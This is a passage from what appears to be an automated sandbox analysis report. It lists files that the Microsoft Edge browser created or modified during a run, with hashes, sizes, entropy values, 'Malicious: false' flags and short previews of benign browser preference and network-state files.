SHA-256:	6C50184E6FCE736231E39A00F4CD207F35D1E7B38FB7021886840B1B9B82DAC4
SHA-512:	EC92ABA688E795CB0625BD1B9012A5CD52B399B1F1FBAE31B69F688634F8863017FA02F1D6B9913959D9B72F2C87D1CF48CB6EA022DB8DC9145B8FF88793E080
Malicious:	false
Preview:	2024/11/26-02:03:32.640 1c24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/26-02:03:32.642 1c24 Recovering log #3.2024/11/26-02:03:32.659 1c24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7a22f2a3-2aec-4726-8cdc-1e337a31a762.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1484
Entropy (8bit):	5.308047083167029
Encrypted:	false
SSDEEP:	24:YcCp/WwFGJ/I3RdstRZVMdmRdsVZFRudFGRw6C1E6maPsRdsFbXZC52HxQYhbS77:YcCpfgCzsZtsjfc7akEsFVCgHmYhbc
MD5:	0CD810E6B149B1DCFF00A0494437D62B
SHA1:	860EB977CA4F2391E8D96EB7CC09D8342AB8912F
SHA-256:	1D1943584E65D41000DD8CF61B0067064671E44A64D1D47BFFA4973A98C9B9AA
SHA-512:	1273A21A8F55FD0EB9BD45B49D25500CD8464196385548AFB270C4817035A89979420D29A47D702D116DD62140144F4DD346679353F156C2DD957D0175492810
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379670216380168","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379670219551778","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\93f7ac40-6da7-40fe-991a-c787820a962b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9e16ee97-2942-471e-b276-eb0ab7cad98b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.293818359480967
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n7:YcCpWsPuCvs+fcKsFgCgakhYhbc
MD5:	B0733CD56C6DAEC03253582405A3C607
SHA1:	EBFFEB5D568DFC774355F3329BB1DD69A06D9D17
SHA-256:	BB4556F6A892CD298278B5D16EB81F2B815018687B11F789213CE95806E5A11C
SHA-512:	F6F90123E0314680B23966126634511E879E761A8094AB17BD3B0F3D58F09DEB8780519C56F319B4C3FB723FE3148453E6B4A14338D052F3518D809761FD2344
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9f6c51dc-0b1b-46c6-83be-4605b36fba39.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.768576905256851
Encrypted:	false
SSDEEP:	192:tT9I9AH0F8xFsZQ4eE/EBIuuXcf0L/ZJVb:V9I9u0F8xuZQ3ETXI0LhJVb
MD5:	A41C7A9D03E7A34C2812C8D69028DE56
SHA1:	8ACE812DBC75F87A83BE8B515DE884D7643BC818
SHA-256:	4CF3A25A72150EA30BEB90BC70E63400AAA9BB377755A4D5130FDA4C27D080E7
SHA-512:	F746F1B6C80D02F24AD90D5451B339DBD7814A1E6B652A19146D029F50388C585703062B1BB2E5FAD91EACB8034B61C2D66DA1CFDE0CEFD24AB3E2E359A81DCC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.293818359480967
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n7:YcCpWsPuCvs+fcKsFgCgakhYhbc
MD5:	B0733CD56C6DAEC03253582405A3C607
SHA1:	EBFFEB5D568DFC774355F3329BB1DD69A06D9D17
SHA-256:	BB4556F6A892CD298278B5D16EB81F2B815018687B11F789213CE95806E5A11C
SHA-512:	F6F90123E0314680B23966126634511E879E761A8094AB17BD3B0F3D58F09DEB8780519C56F319B4C3FB723FE3148453E6B4A14338D052F3518D809761FD2344
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF3ae33.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.293818359480967
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n7:YcCpWsPuCvs+fcKsFgCgakhYhbc
MD5:	B0733CD56C6DAEC03253582405A3C607
SHA1:	EBFFEB5D568DFC774355F3329BB1DD69A06D9D17
SHA-256:	BB4556F6A892CD298278B5D16EB81F2B815018687B11F789213CE95806E5A11C
SHA-512:	F6F90123E0314680B23966126634511E879E761A8094AB17BD3B0F3D58F09DEB8780519C56F319B4C3FB723FE3148453E6B4A14338D052F3518D809761FD2344
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2775635310366926
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBov:JkIEumQv8m1ccnvS6rgvNmdKii4z1a
MD5:	3E14DA6C3F068735D168F9F5FC68C7BA
SHA1:	1B89397E7A1CB26F448A6BC7B21D12879D402F39
SHA-256:	564A4F1C28BA2E8258E4E8CFEF5439251C1B1210E30355F8C55CFBF641BBBD68
SHA-512:	6DF0171FC117062CCADBF9277695B416806F972197518DA31C74C7A37D4020CCDE64DB47C8B461A2311DE52694EC9C350FAD193B0DBADE50C069ACC75CB3C0EE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2a0ba.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2b23f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b8810e1f-6b0d-42a1-a8d3-3fef7cbdbbab.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ccdb77e2-9f57-44e5-a26f-c41b172208d8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.112328607928543
Encrypted:	false
SSDEEP:	192:sthkdpSs2QIa34Hk/ccf8YbV+FXQQA4Eq7NICPpYJ:sthQSs2QXDBbGAQx37NIt
MD5:	25546DBA05C00DCDBE3A418CC1364F15
SHA1:	0DFBEC29270C81459FE89945D6345F3B56874949
SHA-256:	14BA9EF596B9578E93D3E95D420DF3AA0B246756F84B2E399A3656758892AE7E
SHA-512:	224B252A7B359ED032204BBA030606B4A1D59126AF779C220C625894D281F5483A05786D47770F07462A8C49C028B0ED208DC4EA721CF47345761CC6DAD5EF69
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377078212783815","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2e7b6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.112328607928543
Encrypted:	false
SSDEEP:	192:sthkdpSs2QIa34Hk/ccf8YbV+FXQQA4Eq7NICPpYJ:sthQSs2QXDBbGAQx37NIt
MD5:	25546DBA05C00DCDBE3A418CC1364F15
SHA1:	0DFBEC29270C81459FE89945D6345F3B56874949
SHA-256:	14BA9EF596B9578E93D3E95D420DF3AA0B246756F84B2E399A3656758892AE7E
SHA-512:	224B252A7B359ED032204BBA030606B4A1D59126AF779C220C625894D281F5483A05786D47770F07462A8C49C028B0ED208DC4EA721CF47345761CC6DAD5EF69
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377078212783815","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF32898.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.112328607928543
Encrypted:	false
SSDEEP:	192:sthkdpSs2QIa34Hk/ccf8YbV+FXQQA4Eq7NICPpYJ:sthQSs2QXDBbGAQx37NIt
MD5:	25546DBA05C00DCDBE3A418CC1364F15
SHA1:	0DFBEC29270C81459FE89945D6345F3B56874949
SHA-256:	14BA9EF596B9578E93D3E95D420DF3AA0B246756F84B2E399A3656758892AE7E
SHA-512:	224B252A7B359ED032204BBA030606B4A1D59126AF779C220C625894D281F5483A05786D47770F07462A8C49C028B0ED208DC4EA721CF47345761CC6DAD5EF69
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377078212783815","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF39dc8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.112328607928543
Encrypted:	false
SSDEEP:	192:sthkdpSs2QIa34Hk/ccf8YbV+FXQQA4Eq7NICPpYJ:sthQSs2QXDBbGAQx37NIt
MD5:	25546DBA05C00DCDBE3A418CC1364F15
SHA1:	0DFBEC29270C81459FE89945D6345F3B56874949
SHA-256:	14BA9EF596B9578E93D3E95D420DF3AA0B246756F84B2E399A3656758892AE7E
SHA-512:	224B252A7B359ED032204BBA030606B4A1D59126AF779C220C625894D281F5483A05786D47770F07462A8C49C028B0ED208DC4EA721CF47345761CC6DAD5EF69
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377078212783815","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557712029878797
Encrypted:	false
SSDEEP:	768:EjaOh67pLGLPSbWPJRfJQ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPummZrwBpHtuA:EjaOhScPSbWPJRfJQu1jaSDmqft/
MD5:	6ED2AC5DF8E181658B7CCAD99BD2CC79
SHA1:	A8469CE5D199523F1B4DA5FB7D90800F03D8A9F4
SHA-256:	905A5F3B6534FB7E0CCF21AA38FB610FF0505651BF10B743D6E85E4BE1DCC62B
SHA-512:	855B6A78037DA3E178423C5389B906F1BB92D108ADE6CE1C6831A3ABE9834FD6342EF6EF11649B1BC83A83804AAB0DC4490356888F4B8470D4E2E424FD43E561
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377078212191854","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377078212191854","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2e7c6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557712029878797
Encrypted:	false
SSDEEP:	768:EjaOh67pLGLPSbWPJRfJQ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPummZrwBpHtuA:EjaOhScPSbWPJRfJQu1jaSDmqft/
MD5:	6ED2AC5DF8E181658B7CCAD99BD2CC79
SHA1:	A8469CE5D199523F1B4DA5FB7D90800F03D8A9F4
SHA-256:	905A5F3B6534FB7E0CCF21AA38FB610FF0505651BF10B743D6E85E4BE1DCC62B
SHA-512:	855B6A78037DA3E178423C5389B906F1BB92D108ADE6CE1C6831A3ABE9834FD6342EF6EF11649B1BC83A83804AAB0DC4490356888F4B8470D4E2E424FD43E561
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377078212191854","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377078212191854","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF320c8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557712029878797
Encrypted:	false
SSDEEP:	768:EjaOh67pLGLPSbWPJRfJQ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPummZrwBpHtuA:EjaOhScPSbWPJRfJQu1jaSDmqft/
MD5:	6ED2AC5DF8E181658B7CCAD99BD2CC79
SHA1:	A8469CE5D199523F1B4DA5FB7D90800F03D8A9F4
SHA-256:	905A5F3B6534FB7E0CCF21AA38FB610FF0505651BF10B743D6E85E4BE1DCC62B
SHA-512:	855B6A78037DA3E178423C5389B906F1BB92D108ADE6CE1C6831A3ABE9834FD6342EF6EF11649B1BC83A83804AAB0DC4490356888F4B8470D4E2E424FD43E561
Malicious:	false
